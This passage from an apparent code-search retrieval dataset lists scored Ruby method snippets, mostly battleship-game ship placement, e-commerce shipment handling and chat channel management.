"docid": "24b6d95e72ef1949c68937d37434701c", "score": "0.55924547", "text": "def clears?(another_ship)\n (self.coordinates_occupied & another_ship.coordinates_occupied).empty?\n end", "title": "" }, { "docid": "bc5722db331f9344766eb8b98bbec4ee", "score": "0.5561163", "text": "def place_ship player_number, ship_type, coordinates, orientation\n @players[player_number-1].place_ship ship_type, coordinates, orientation\n end", "title": "" }, { "docid": "9f868206f84a9be991d01b7dae6b30a8", "score": "0.5558991", "text": "def update_shipped_shipments(inventory_units)\n shipments = Spree::Shipment.\n includes(:inventory_units).\n where(id: inventory_units.map(&:shipment_id)).\n to_a\n\n shipments.each do |shipment|\n if shipment.inventory_units.all? {|iu| iu.shipped? || iu.canceled? }\n shipment.update_attributes!(state: 'shipped', shipped_at: Time.now)\n end\n end\n end", "title": "" }, { "docid": "c474317564ab318e2919c65c8645edc2", "score": "0.55580646", "text": "def draw_ship(ship_size)\n placed_ship = false\n# An until loop uses a boolean that will check if ship is clashing with another ship.\n until placed_ship \n ship = Ship.new(ship_size)\n ship_clash = false\n ship.coordinates.each do |coor|\n if @game_board[coor[0]][coor[1]] == \"S\"\n ship_clash = true\n end\n end\n# If a ship clash does not occur, the ship will be printed to the game board grid. \n if !ship_clash\n ship.coordinates.each do |coor|\n row = coor[0]\n col = coor[1]\n @game_board[row][col] = \"S\"\n end\n placed_ship = true\n else \n end\n end \n end", "title": "" }, { "docid": "e7c4161a45540262f0e7c0a020fd325b", "score": "0.5555332", "text": "def removeMonster(x,y)\n\t\t@array[y][x] = 0\n\tend", "title": "" }, { "docid": "ef496c5a5418ea09a08f2130ea37d3de", "score": "0.55542624", "text": "def place_player_ships\n draw_player_board(@player_board)\n sleep 1\n print \"Time to place your ships! You will have a total of 4 ships and each ship is 3 coordinates in length. \"\n @temp_coordinates = Array.new\n\n while @player.ship_count < 4\n @ship = Ship.new\n puts \"Place a [V]erticle or [H]orizontal ship?\"\n vh = gets.strip.upcase\n\n if vh == \"H\"\n puts \"Enter a center coordinate for your ship\"\n get_coordinate()\n if horizontal_coordinates_available(@coordinate, @player_board)\n @temp_coordinates = [@x+ ((@y-1).to_s), @coordinate, @x+ ((@y+1).to_s)]\n else\n print \"That coordinate is taken, please select another coordinate. \"\n place_player_ships()\n end\n\n elsif vh == \"V\"\n puts \"Enter a center coordinate for your ship :\"\n get_coordinate()\n if vertical_coordinates_available(@coordinate, @player_board)\n @temp_coordinates = [((@x.next).to_s)+ @y.to_s, @coordinate, (@x.chr.ord-1).chr + @y.to_s]\n else\n print \"That coordinate is taken, please select another coordinate. \"\n place_player_ships()\n end\n\n else\n puts \"Not a valid option\"\n place_player_ships()\n end\n\n @temp_coordinates.each do |coordinate|\n @player_board.coordinates.each do |space|\n if (space.xy == coordinate)\n space.has_ship = 1\n @ship.coordinates.push(space)\n end\n end\n end\n @player.add_ship(@ship)\n draw_player_board(@player_board)\n @player.ship_count += 1\n end\n end", "title": "" }, { "docid": "398f7f1a9c1efb33d9a208f5cc98a744", "score": "0.5551445", "text": "def occupy!(ship)\n @contents = ship\n end", "title": "" }, { "docid": "653c70461a6cbf8a64e897740b7ba976", "score": "0.554987", "text": "def place_ships\n small_ship = Ship.new(2)\n big_ship = Ship.new(3)\n @board.cell_hash[@coordinate_1_ship2].ship = small_ship\n @board.cell_hash[@coordinate_2_ship2].ship = small_ship\n\n @board.cell_hash[@coordinate_1_ship3].ship = big_ship\n @board.cell_hash[@coordinate_2_ship3].ship = big_ship\n @board.cell_hash[@coordinate_3_ship3].ship = big_ship\n @board.display_grid\n end", "title": "" }, { "docid": "c24ab23b29c6f4b4f2f05d91055899bd", "score": "0.5536724", "text": "def set_ships\n BOAT_COUNT.times do\n place_ship(Boat.create)\n end\n\n VESSEL_COUNT.times do\n place_ship(Vessel.create)\n end\n\n CARRIER_COUNT.times do\n place_ship(Carrier.create)\n end\n end", "title": "" }, { "docid": "f05c3ac3a6b4605523178be8c717b422", "score": "0.55284584", "text": "def destroy\n @ship_item.destroy\n respond_to do |format|\n format.html { redirect_to player_ships_path, notice: 'Ship item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7bd21a25c12edba55d130e60fbabbe13", "score": "0.5524809", "text": "def destroy\n @user_ship.destroy\n respond_to do |format|\n format.html { redirect_to user_ships_url, notice: 'User ship was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "528706217aa66be1550cedc810d674c6", "score": "0.55224055", "text": "def random_ships\n return unless @status == :initialized\n reset_board\n [1, 1, 1, 1, 2, 2, 2, 3, 3, 4].each do |length|\n RandomShip.new(self, length).add_ship\n end\n end", "title": "" }, { "docid": "b5ebc44158e85cb8460d487c3571191d", "score": "0.55098355", "text": "def cp_ship_at_pos\n ships_at_pos(@cp_ships)\n end", "title": "" }, { "docid": "8a6dc24f937cc2d7b37c506d79cdb9af", "score": "0.5509404", "text": "def mark_unsafe(ship)\n @ship = ship\n end", "title": "" }, { "docid": "0f826807f1c1cecb58eb72d133608df1", "score": "0.5509304", "text": "def remove_piece(dead_piece)\n dead_piece.update_attributes(x_coord: nil, y_coord: nil, captured: true) ##Should we have a piece status to add to db? Like captured/in play? This would be helpful for stats also\n end", "title": "" }, { "docid": "7775b0e90e096d966a01e356f7aa25ba", "score": "0.54960096", "text": "def deploy_fleet(ships)\n ships.each do |ship|\n ship_placed = false\n until ship_placed\n orientation = random_orientation\n x, y = random_position(orientation, ship.size)\n if space_empty?(x, y, ship.size, orientation)\n place_ship(x, y, ship, orientation)\n ship_placed = true\n end\n end\n end\n end", "title": "" }, { "docid": "7d90a9b8d49f35969771ba064fb40129", "score": "0.5493044", "text": "def set_user_ship\n @user_ship = UserShip.find(params[:id])\n end", "title": "" }, { "docid": "2d8099e874b328cc69ba57a550898c83", "score": "0.549211", "text": "def getShips()\n return @ships\n end", "title": "" }, { "docid": "0e39681036ca0f352350c7ee1056499f", "score": "0.5487921", "text": "def buy_players(player_cost)\n self.war_chest -= player_cost\n end", "title": "" }, { "docid": "0b05d551a26639efa9bf0e69678ebbb9", "score": "0.548283", "text": "def create_drop_ship_orders\n self.drop_ship_orders.destroy_all\n self.line_items.group_by{ |li| li.product.supplier_id }.each do |supplier_id, supplier_items|\n if supplier_id.present?\n supplier = Spree::Supplier.find(supplier_id)\n dso = supplier.orders.create({:order_id => self.id})\n supplier_items.each do |line_item|\n dso.drop_ship_line_items.create({line_item_id: line_item.id})\n end\n end\n end\n end", "title": "" }, { "docid": "5ece55b3f74e427c9a8c74b493e47a4f", "score": "0.5482723", "text": "def ship_placement\n ship_positions = self.get_all_ship_positions\n\n ship_positions.each do |coordinate|\n self.board_state[\"row_#{coordinate[0]}\"][coordinate[1].to_i] = 2\n end\n end", "title": "" }, { "docid": "d165d2be1852b337949fdceac481a96d", "score": "0.5478813", "text": "def set_shipssub\n @shipssub = Shipssub.find(params[:id])\n end", "title": "" }, { "docid": "93c602250f8f25b662e74a12901618c5", "score": "0.5467429", "text": "def other_players\n self.players.drop(1)\n end", "title": "" }, { "docid": "7217a9b8cb69d2fa25846570315df40c", "score": "0.54642856", "text": "def remove_pawns\n @grid[2][1] = Cell.new(@player1.color)\n @grid[2][2] = Cell.new(@player1.color)\n @grid[2][3] = Cell.new(@player1.color)\n @grid[2][4] = Cell.new(@player1.color)\n @grid[2][5] = Cell.new(@player1.color)\n @grid[2][6] = Cell.new(@player1.color)\n @grid[2][7] = Cell.new(@player1.color)\n @grid[2][8] = Cell.new(@player1.color)\n\n\n @grid[7][1] = Cell.new(@player1.color)\n @grid[7][2] = Cell.new(@player1.color)\n @grid[7][3] = Cell.new(@player1.color)\n @grid[7][4] = Cell.new(@player1.color)\n @grid[7][5] = Cell.new(@player1.color)\n @grid[7][6] = Cell.new(@player1.color)\n @grid[7][7] = Cell.new(@player1.color)\n @grid[7][8] = Cell.new(@player1.color)\n\n end", "title": "" }, { "docid": "6c2aa4fc90afe4275fdf3c727187cc4a", "score": "0.54640573", "text": "def destroy\n @assigned_ship = AssignedShip.find(params[:id])\n @assigned_ship.destroy\n\n respond_to do |format|\n format.html { redirect_to assigned_ships_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bee0be78ed1fa3763b48223ae2437162", "score": "0.54588073", "text": "def create_default_ships\n [Ship.submarine, Ship.battleship, Ship.destroyer]\nend", "title": "" }, { "docid": "c7f859d8c042fe419ca7e52e21a543af", "score": "0.545817", "text": "def ship_inventory\n order_items.each do |item|\n item.variant.subtract_pending_to_customer(1)\n item.variant.subtract_count_on_hand(1)\n end\n end", "title": "" }, { "docid": "38598bc0d479d53a4349e93296e6424d", "score": "0.54561454", "text": "def remove_from_shipment(shipment, line_item, quantity)\n return 0 if quantity == 0 || shipment.shipped?\n\n variant = line_item.variant\n\n shipment_units = shipment.inventory_units_for_item(line_item, variant).reject do |unit|\n unit.state == 'shipped'\n end.sort_by(&:state)\n\n removed_quantity = 0\n\n shipment_units.each do |inventory_unit|\n break if removed_quantity == quantity\n inventory_unit.destroy\n removed_quantity += 1\n end\n\n shipment.destroy if shipment.inventory_units.count == 0\n\n if order.completed?\n shipment.stock_location.restock variant, removed_quantity, shipment\n end\n\n removed_quantity\n end", "title": "" }, { "docid": "3a74991b5c47f90a0290345d3949db24", "score": "0.5449826", "text": "def place_ships\n end", "title": "" }, { "docid": "e4b46891103aa2e44cac7c0f4ba17cdf", "score": "0.544926", "text": "def place_ships\n place_ships_randomly\n end", "title": "" }, { "docid": "9d4fe861086f5c2b3e40044cd1635acb", "score": "0.5448878", "text": "def products_shipped\n shipped_line_items.map(&:product).uniq\n end", "title": "" }, { "docid": "f7b6134828684b747df6669e1cd17f49", "score": "0.5448538", "text": "def place_ships\n ShipType.all.each do |type|\n type.starting_quantity.times do\n ship = Ship.create(:board_id => self.id, :ship_type_id => type.id)\n ship.place_on_board\n end\n end\n end", "title": "" }, { "docid": "1859ca899dc68618ffb80bf4dc4ba160", "score": "0.5446261", "text": "def ship_via(carrier, tracking_number)\n self.carrier, self.tracking_number = carrier, tracking_number\n ship! unless shipped?\n end", "title": "" }, { "docid": "9da11835d22f5bc29799d7c9e4f29e92", "score": "0.5443961", "text": "def computer_place_ships(ships, board) # doesn't require input validation\n ships.each { |size|\n coordnates = board.possible_positions(size).shuffle!.pop\n place_ship(coordnates, board)\n }\n pass_turn\n end", "title": "" }, { "docid": "232939840d77ed3b5f53de8952ffddb6", "score": "0.54255664", "text": "def reset_players\n restore_players\n\n # add losers back into the mix\n @players += @losers\n @losers = []\n for player in @players\n player.cash += @cash \n end\n end", "title": "" }, { "docid": "2d6e15b2d68f0cc0e32976e117f98251", "score": "0.54222447", "text": "def push(shipment)\n if @shipments.empty?\n if self.is_under_fits?(shipment)\n @shipments << [[shipment]]\n elsif self.is_under_fits_with_upend?(shipment)\n @shipments << [[shipment.upend!]]\n else\n @queue_shipments << shipment\n end\n else\n if self.is_under_fits?(shipment)\n @shipments.last.last << shipment.recoordinate_under(@shipments.last.last.last)\n elsif self.is_under_fits_with_upend?(shipment)\n @shipments.last.last << (shipment.upend!).recoordinate_under(@shipments.last.last.last)\n else\n if self.is_beside_fits?(shipment)\n @shipments.last << [shipment.recoordinate_beside(@shipments.last.last.first)]\n elsif self.is_beside_fits_with_upend?(shipment)\n @shipments.last << [(shipment.upend!).recoordinate_beside(@shipments.last.last.first)]\n else\n if self.is_above_fits?(shipment)\n @shipments << [[shipment.recoordinate_above(@shipments.last.first.first)]]\n elsif self.is_above_fits?(shipment)\n @shipments << [[(shipment.upend!).recoordinate_above(@shipments.last.first.first)]]\n else\n @queue_shipments << shipment\n self.full = true\n end\n end\n end\n end\n end", "title": "" }, { "docid": "36677be116fffc910c87ea9c19e45946", "score": "0.54189676", "text": "def remove_player(gamer)\n @losers.delete(gamer)\n @challengers.delete(gamer)\n end", "title": "" }, { "docid": "8fd7b1f420442ff33a1fbdd4717b6880", "score": "0.5400402", "text": "def remove_player(player)\n @players[position(player)] = nil\n end", "title": "" }, { "docid": "0f82595f31c1a2edb902838ad059139f", "score": "0.54000354", "text": "def remove!(stone)\n @grid[stone.x].delete(stone.y)\n end", "title": "" }, { "docid": "3416e49639eca13a0807c8326e72832d", "score": "0.5385272", "text": "def ships; products.find_all {|p| p and p.ship?} || [] end", "title": "" }, { "docid": "cfdf006c040233e31bd6b4aec4caeba8", "score": "0.53822225", "text": "def set_Shipped(value)\n set_input(\"Shipped\", value)\n end", "title": "" }, { "docid": "b9518828be75e2790152d2fcadf6a9ed", "score": "0.53812414", "text": "def remove_player(player)\r\n if player.source_affects.size > 0\r\n @inactive_player_source_affects[player.id] = player.source_affects\r\n end\r\n @players.delete(player)\r\n return\r\n end", "title": "" }, { "docid": "eb2f5e5b704a30277e55f7bfec0df030", "score": "0.5376117", "text": "def ship(opts)\n opts = opts.merge(:sale_id => self.sale_id)\n Twocheckout::API.request(:post, 'sales/mark_shipped', opts)\n end", "title": "" } ]
961b2e2c7b50f8be736fd856bc39f30a
Turn up ALL channels
[ { "docid": "93e190eb6a3e5817274bdbf5a6fd7f3f", "score": "0.7857455", "text": "def turnUpAllChannels()\n result = ''\n @base.cmd(\"conf t\") { |c| result += c }\n @base.cmd(\"int ca1/0\") { |c| result += c }\n (0..5).each do |ch|\n @base.cmd(\"no cable upstream #{ch} shutdown\") { |c| result += c }\n @base.cmd(\"no cable upstream #{ch}.0 shutdown\") { |c| result += c }\n end\n @base.cmd(\"end\") { |c| result += c }\n result\n end", "title": "" } ]
[ { "docid": "dfcc52bb14aef00db6e87c29bcfaac3a", "score": "0.7233476", "text": "def turnDownAllChannels()\n result = ''\n @base.cmd(\"conf t\") { |c| result += c }\n @base.cmd(\"int ca1/0\") { |c| result += c }\n (0..5).each do |ch|\n @base.cmd(\"cable upstream #{ch} shutdown\") { |c| result += c }\n @base.cmd(\"cable upstream #{ch}.0 shutdown\") { |c| result += c }\n end\n @base.cmd(\"end\") { |c| result += c }\n result\n end", "title": "" }, { "docid": "8a5d84c8b779d55b1abb1e818606f4c0", "score": "0.6978221", "text": "def channels\n default_channels.tap do |list|\n\n end.flatten\n end", "title": "" }, { "docid": "e161c7f01bd687f0afefcfe154d05822", "score": "0.6872899", "text": "def all_channels=(value)\n @all_channels = value\n end", "title": "" }, { "docid": "6aed81051823d194166689749c93f695", "score": "0.65522057", "text": "def reset\n self.channels = {}\n end", "title": "" }, { "docid": "5a986dd53b89809c9e9b2a1724ae291d", "score": "0.6498909", "text": "def setup\n join @connection.channels\n self\n end", "title": "" }, { "docid": "d07dcf2ae349833e43da142c80703d00", "score": "0.6494566", "text": "def enabled_channels\n\n\tend", "title": "" }, { "docid": "59ce27ce1498242e6bb6fe9ddfbcc531", "score": "0.6493445", "text": "def autojoin_channels\n []\n end", "title": "" }, { "docid": "8dac9996542be1262c5bf094610c9dbf", "score": "0.6492275", "text": "def each_channel &block\n Enumerator.new {\n |channel|\n self.channels.times do\n |c|\n channel << self.get_channel(c)\n end\n self\n }.each(&block)\n end", "title": "" }, { "docid": "aa57f35e337ecb117c60ec7a2e6ab0e0", "score": "0.64869475", "text": "def each_channel(&block)\n channels.dup.each(&block)\n end", "title": "" }, { "docid": "e30ee020882e074e6bcfb36ea1ae2c08", "score": "0.6359154", "text": "def channels\n @channels ||= []\n end", "title": "" }, { "docid": "7b2c6fa2880a0095867b7b435687267a", "score": "0.63227034", "text": "def channels\n @channels ||= {}\n end", "title": "" }, { "docid": "6055c7b13726a6a307112353870f64a0", "score": "0.62837565", "text": "def all_channels\n return @all_channels\n end", "title": "" }, { "docid": "5f5ba80f49910f59af2e501e37185237", "score": "0.621409", "text": "def default_channels\n @default_channels ||= []\n end", "title": "" }, { "docid": "9b50be1b0db02f7e94735d1d8fb7b099", "score": "0.6200226", "text": "def channels\n @channels ||= Channel.new(self)\n end", "title": "" }, { "docid": "0fcaa0925250cbe7cab98446ed59166b", "score": "0.61595", "text": "def refresh_channels!\n all_groups = @client.groups_list.groups\n all_groups.each { |g| @group_members[g.id] = g.members }\n\n all_channels = @client.channels_list.channels\n name_to_id = {}\n (all_channels + all_groups).each do |c|\n name_to_id[c.name] = c.id\n end\n\n @channels = name_to_id.freeze\n end", "title": "" }, { "docid": "05fd94b7e5752b94f9c9a9430331400b", "score": "0.6156238", "text": "def each\n @channels.each { |channel| yield channel }\n end", "title": "" }, { "docid": "3976ebdaa77131f73b9f69ceab2622dd", "score": "0.61134213", "text": "def channels\n @channels ||= Hash.new {|h,k| h[k] = []} # Default hash empty hash values with an array (instead of nil)\n end", "title": "" }, { "docid": "e52e1ecfb685f41ffff4e6575e075de5", "score": "0.6097882", "text": "def index\n @chatchannels = Chatchannel.public_channels\n end", "title": "" }, { "docid": "de1bd82c4cbe65f79fb5c7deb23d1c82", "score": "0.60941094", "text": "def reset\n connection.close_all_channels\n end", "title": "" }, { "docid": "b8d40fc26948d1f4c0d451196fb3e82d", "score": "0.60585684", "text": "def clear\n channels.each { |channel| remove_channel(channel) }\n end", "title": "" }, { "docid": "a3956d3976592580ea15aad164f2017f", "score": "0.6035319", "text": "def turn_on\n all.map(&:on)\n end", "title": "" }, { "docid": "03eefbedf0280625e5fc925654657ebf", "score": "0.60320437", "text": "def channels=(v)\n # TODO: fire events about channels updating?\n @channels = v\n end", "title": "" }, { "docid": "9082319d47b8152ca49645dd5c9b614a", "score": "0.5992004", "text": "def reload_channels\n self.data_source.channels.destroy_all\n get_channels\n end", "title": "" }, { "docid": "138d0d4563458124610cc818adfdfbd9", "score": "0.598791", "text": "def list_all_channels\n channels = @client.call('channel.listAllChannels', @key)\n channels.each { |ch| puts ch['label'] }\nend", "title": "" }, { "docid": "19bdb98dba3c7ffcc063dd558183264c", "score": "0.5981591", "text": "def set_default_channel\n self.channel = Channel.default_channel\n end", "title": "" }, { "docid": "35c8c30df206057216735ae8159fa927", "score": "0.59664804", "text": "def join *channels\n send \"JOIN #{channels.join(',')}\"\n end", "title": "" }, { "docid": "8cbb224db74e495ba170a6a40f5481e3", "score": "0.59443843", "text": "def channels_list ch_arr\n channels = build_channels ch_arr\n return channels\n end", "title": "" }, { "docid": "da42429d5c28bcbb1e1e29dcb712b452", "score": "0.5925269", "text": "def channels=(params)\n @channels ||= []\n params.each do |hash|\n @channels << Channel.build_from_uri(hash)\n end\n end", "title": "" }, { "docid": "2cccda3c9221fe591576290778074a1e", "score": "0.5903258", "text": "def close_all_channels\n return if @channels_closed\n @channels.each do |server, channel|\n logger.debug \"Beetle: closing channel to server #{server}\"\n channel.close\n end\n @channels_closed = true\n end", "title": "" }, { "docid": "82ac8dcbcbc76f2b458ba6bfe450bc7a", "score": "0.58972704", "text": "def active_channels\n channels.select { |c| c.active }\n end", "title": "" }, { "docid": "54555f0ee92bb25fe0ad344d287b70aa", "score": "0.5885898", "text": "def channels\n client.channels\n end", "title": "" }, { "docid": "d0e7ece393cea987e1036eb9d7d5336c", "score": "0.58577186", "text": "def channels\n Channel.unscoped\n end", "title": "" }, { "docid": "3c0ee5146a4b590545bfb88377e8da43", "score": "0.5828135", "text": "def dispatch( *names )\n names = channels.keys if names.empty?\n\n names.each do |name|\n dispatch_channel( fetch_channel( name ) )\n end\n end", "title": "" }, { "docid": "51cd52e54a13975da5f9d50ee6bcf815", "score": "0.5820791", "text": "def index\n @acupuncture_channels = Acupuncture::Channel.all\n end", "title": "" }, { "docid": "e26271f04d020db0a53b4cfe5a3dcad3", "score": "0.5761765", "text": "def classic_channels=(channels)\n new = channels.map{|x| x.split(\", \").reject{|x| x =~ /^0x/}}.flatten.sort.uniq\n current = JSON.parse(self.classic_class || '[]')\n self[:classic_channels] = JSON.generate((new + current).uniq)\n end", "title": "" }, { "docid": "35af54ea71b7a7e45046753cb4d620e7", "score": "0.5740923", "text": "def channels\n @channels\n end", "title": "" }, { "docid": "35af54ea71b7a7e45046753cb4d620e7", "score": "0.5740923", "text": "def channels\n @channels\n end", "title": "" }, { "docid": "56982880cc64df660551012c8036a7f3", "score": "0.57356757", "text": "def clear\n @mutex.synchronize do\n channels = @channels.dup\n @channels.clear\n channels\n end\n end", "title": "" }, { "docid": "86401616ce96398708d5fd16f125f7f0", "score": "0.5731172", "text": "def subscribe(*channels, &block); end", "title": "" }, { "docid": "6bab0d43c81ecaec2f0dd8d83ae5a697", "score": "0.57028604", "text": "def channels\n \t url = URI.parse(\"#{@base_url}#{@api_version}/channels\")\n \t request = Net::HTTP::Get.new(url.request_uri)\n\n \t @headers.each {|k, v| request[k] = v }\n\n \tresponse = Net::HTTP.start(url.hostname, url.port, :use_ssl => url.scheme == 'https') do |http|\n \t\thttp.request(request)\n \t end\t\n\n \t JSON.parse(response.body)[\"channels\"].collect {|channel| CallAction::Channel.new channel }\n end", "title": "" }, { "docid": "c18f49638cff1f0ec107b2b35abebbe0", "score": "0.5683507", "text": "def send_to_all!(method_name, *args)\n hijacking! do\n all_connections.each do |con|\n con.send(method_name, *args)\n end\n end\n end", "title": "" }, { "docid": "a2c29be97bbbeed7fff0e05642d81567", "score": "0.56784385", "text": "def set_channel(i)\n @tv.channel = i\n end", "title": "" }, { "docid": "6c14f304aa0e5deb2bd2251787bdbaab", "score": "0.5663905", "text": "def list(*channels)\n @connection.list *channels\n end", "title": "" }, { "docid": "d089a43517700c02e2c549c71f41ca48", "score": "0.56573814", "text": "def psubscribe(*channels, &block); end", "title": "" }, { "docid": "d089a43517700c02e2c549c71f41ca48", "score": "0.56573814", "text": "def psubscribe(*channels, &block); end", "title": "" }, { "docid": "e88d13c920a4e342b53d0ec2820ff3c5", "score": "0.5650831", "text": "def default_channels=(channels)\n @default_channels = channels.to_a.map { |c| c.to_s }\n end", "title": "" }, { "docid": "230b47a791275a21f94e88379ae37840", "score": "0.56461173", "text": "def populate_channels(options = {})\n request = options[:channels] || options[:channel]\n if request.nil?\n @num_channels = @output.num_channels\n true\n else\n populate_requested_channels(request)\n end\n end", "title": "" }, { "docid": "2503f157e60f80676ecbce378efe9313", "score": "0.5643296", "text": "def reset!\n sync do\n @global_id = 0\n @channels = {}\n end\n end", "title": "" }, { "docid": "c157c59758c1715090e32e722e1f5bf7", "score": "0.56379056", "text": "def reset_channel_pool\n self.channel_pool = ConnectionPool.new do\n global_connection.create_channel\n end\n end", "title": "" }, { "docid": "3aa8cd7d7cff8ed5f9dcc4022e77036b", "score": "0.5636099", "text": "def unsubscribe_all\n @subscribed_channels.each do |channel_name|\n unsubscribe channel_name\n end\n end", "title": "" }, { "docid": "612ab77968996a269c0102eace7b2541", "score": "0.5636048", "text": "def channels_to_be_updated\n result = Array.new\n\n channel_ids.each do |channel_id|\n result << Channel.find(channel_id)\n end\n\n result\n end", "title": "" }, { "docid": "36482940aa83a89485ff6e1cd21d09a6", "score": "0.56240046", "text": "def channels=(value)\n @channels = value\n end", "title": "" }, { "docid": "36482940aa83a89485ff6e1cd21d09a6", "score": "0.56240046", "text": "def channels=(value)\n @channels = value\n end", "title": "" }, { "docid": "170994f070d80e96c533800fb1dc7e41", "score": "0.5606271", "text": "def turnUpChannel(ch)\n result = ''\n @base.cmd(\"conf t\") { |c| result += c }\n @base.cmd(\"int ca1/0\") { |c| result += c }\n @base.cmd(\"no cable upstream #{ch} shutdown\") { |c| result += c }\n @base.cmd(\"no cable upstream #{ch}.0 shutdown\") { |c| result += c }\n @base.cmd(\"end\") { |c| result += c }\n result\n end", "title": "" }, { "docid": "cfc85f9cd5cffc8ae754137e5992b86e", "score": "0.5596199", "text": "def index\n @channels = Channel.all\n end", "title": "" }, { "docid": "cfc85f9cd5cffc8ae754137e5992b86e", "score": "0.5596199", "text": "def index\n @channels = Channel.all\n end", "title": "" }, { "docid": "dad2bac4ff00485b7c82402f34ce125b", "score": "0.55780506", "text": "def channels\n @channel_subscriptions\n end", "title": "" }, { "docid": "8c99f982d63fe04fc7e46bdeb0064227", "score": "0.5576296", "text": "def index\n manager = StreamingManager::ChannelManager.new\n @channels = manager.get_channels\n end", "title": "" }, { "docid": "15d7b6365ae1e54a6efd8c25896a5fd1", "score": "0.5543299", "text": "def cmd_set_channels argv\n setup argv\n roles = @hash['roles']\n names = @hash['names']\n\n if names.include?(\",\")\n names_array = names.split(\",\")\n else\n names_array = Array.new\n names_array << names\n end\n\n if roles.include?(\",\")\n roles_array = roles.split(\",\")\n else\n roles_array = Array.new\n roles_array << roles\n end\n\n response = @api.set_channels(roles_array, names_array)\n msg response\n return response\n end", "title": "" }, { "docid": "337b1b8394c79841c0c1a6fbc8f6f1c9", "score": "0.55423665", "text": "def all(refresh=false)\n @switches = nil if refresh\n @switches ||= Wemote::Collection::Switch.new(discover)\n end", "title": "" }, { "docid": "646004e8f84924c664e4b17bc7526e46", "score": "0.55407953", "text": "def set_channels(roles=[], names=[])\n responses = Array.new\n roles.length.times do | i |\n response = @http.post(\"session/scenario/channels/#{roles[i]}/#{names[i]}\")\n responses << response\n end\n msg responses, Logger::DEBUG\n return responses\n end", "title": "" }, { "docid": "de35a7d737a1c3f29c01889c7cd3e284", "score": "0.5532071", "text": "def channels\n return @channels.values\n end", "title": "" }, { "docid": "8836d8b13a7bbba5a3b768732deacfa8", "score": "0.55319893", "text": "def channels\n Marvin::IRC::Server::ChannelStore.values\n end", "title": "" }, { "docid": "df5b317cc932fac75c0670d9385f3d07", "score": "0.55269694", "text": "def channels\n get('/api/v1/channels').map do |channel|\n Channel.new(self, channel)\n end\n end", "title": "" }, { "docid": "3949bb76dbe210d5f661038f53ca293f", "score": "0.5510822", "text": "def define_channel(subscribers, channels = [])\n subscribers.each do |subscriber|\n channels << subscriber.crypted_hash if subscriber.online?\n end\n channels\n end", "title": "" }, { "docid": "e03ed1fdaaf1fc94ffb5a722b23ee6f0", "score": "0.55093175", "text": "def playing_channels(total = true)\n count, real = \"\\0\" * SIZEOF_INT, \"\\0\" * SIZEOF_INT\n FMOD.invoke(:System_GetChannelsPlaying, self, count, real)\n (total ? count : real).unpack1('l')\n end", "title": "" }, { "docid": "c7e8b7a51320608041e988e7bf308233", "score": "0.55061644", "text": "def turn_all_cards_up\n @cards.each { |card| card.turn_face_up }\n end", "title": "" }, { "docid": "f80d2bf1c2d32bd6fcb43f5849d5dc4c", "score": "0.54975533", "text": "def channel_ids_list\n self.channels.collect &:channel_id\n end", "title": "" }, { "docid": "5ba0bebea070b40595336e49b324793e", "score": "0.5491935", "text": "def set_user_channels\n @user_channels = UserChannel.where(user_id: params[:user_id]).order(:id)\n end", "title": "" }, { "docid": "001c47fe6f52c256b5209fa160524cc1", "score": "0.54880273", "text": "def channels\n\n @user_seed = current_user.seed\n\n # whats_hot = Slideshow.whats_hot_slideshow\n\n @channels = Slideshow.whats_hot_slideshow.results.order(created_at: :desc).map { |d| {thumb: d.thumb.sub(/https/, 'http'), uuid: d.uuid} }.compact # change .results to .nsfw for mature filter.\n\n # If a slideshow doesn't exist for a given seed, having it show up in the channel changer will produce errors if it's\n # selected as the user's channel. This happens when What's Hot has been updated, but before all the MLT results have been\n # retrieved for deviations new to the What's Hot list. Selecting channels only if the associated slideshow exists\n # prevents this error.\n @channels.select! { |c| Slideshow.exists?(seed: c[:uuid]) }\n\n end", "title": "" }, { "docid": "e1f4433ecf195587795606b59bd8e2ca", "score": "0.5487383", "text": "def channels\n if self.data_source.channels.count != 0\n @logger.info \"Already found channels for this data source. If you want to update, run reload_channels\"\n return\n end\n get_channels\n end", "title": "" }, { "docid": "b06ebd53cb35cfd34d79d9199a71f0ad", "score": "0.54868686", "text": "def index\n @local_channels = LocalChannel.all\n end", "title": "" }, { "docid": "5aead0e55687031bf01c3586c0992eaa", "score": "0.54837215", "text": "def connect_all\n @connect_strategy.connect(self)\n end", "title": "" }, { "docid": "daa8f884368cdbc6e0ec1b1d36bb1bf5", "score": "0.5483041", "text": "def index\n @channels = PublicChannel.all\n end", "title": "" }, { "docid": "e78e69725eee54af42e822d520de06d3", "score": "0.54649496", "text": "def notify_channels\n channels.each do |channel|\n self.class.connection.execute('NOTIFY %s, %s' % [channel, payload])\n end\n end", "title": "" }, { "docid": "0d2746b0f988e000d841e2036999131a", "score": "0.5462996", "text": "def change_beats_for_all(beats)\n self.chords.each {|chord| chord.beats=beats}\n end", "title": "" }, { "docid": "1bc38ab3caed70c0c96d43ac606e0731", "score": "0.5455377", "text": "def channel_commands(name)\n\t name = name.strip.to_s\n\t begin\n @cli.join_channel(name)\n @@currentChannel = name\n rescue # In case invalid channel name is entered\n send(\"Invalid Channel Name\")\n end\n\t\tsleep(1)\n\tend", "title": "" }, { "docid": "8f99986587e644f41f9424be3faafe71", "score": "0.5449048", "text": "def channel(*args)\n @state.channel = args.first unless args.empty?\n @state.channel\n end", "title": "" }, { "docid": "4079fe9da692e5a961c51ba13411884e", "score": "0.544746", "text": "def set_channel\n @channel = Admin::Channel.first\n end", "title": "" }, { "docid": "4b33ad93fdecccd744fb678fcf7ba013", "score": "0.5445571", "text": "def surround_channels(prefix = '', *channels)\n channels = CHANNELS if channels.empty?\n channels.map(&:to_s).map(&:upcase).map { |c| \"#{prefix}#{c}\" }\n end", "title": "" }, { "docid": "9b05d8012a518e8b39613b0d0da20d06", "score": "0.5442229", "text": "def channels=(channels)\n SideJob.redis.multi do |multi|\n if channels && channels.length > 0\n multi.hset \"#{@job.redis_key}:#{type}ports:channels\", @name, channels.to_json\n else\n multi.hdel \"#{@job.redis_key}:#{type}ports:channels\", @name\n end\n\n if type == :in\n channels.each do |chan|\n multi.sadd \"channel:#{chan}\", @job.id\n end\n end\n end\n end", "title": "" }, { "docid": "89f9c86601acdf8914eca17b22e17178", "score": "0.54370135", "text": "def async_game_channels(game)\n game_channels game do |channel|\n Thread.new do\n yield channel\n end\n end\n end", "title": "" }, { "docid": "435e6964870f06075c029319f98230cf", "score": "0.5434721", "text": "def 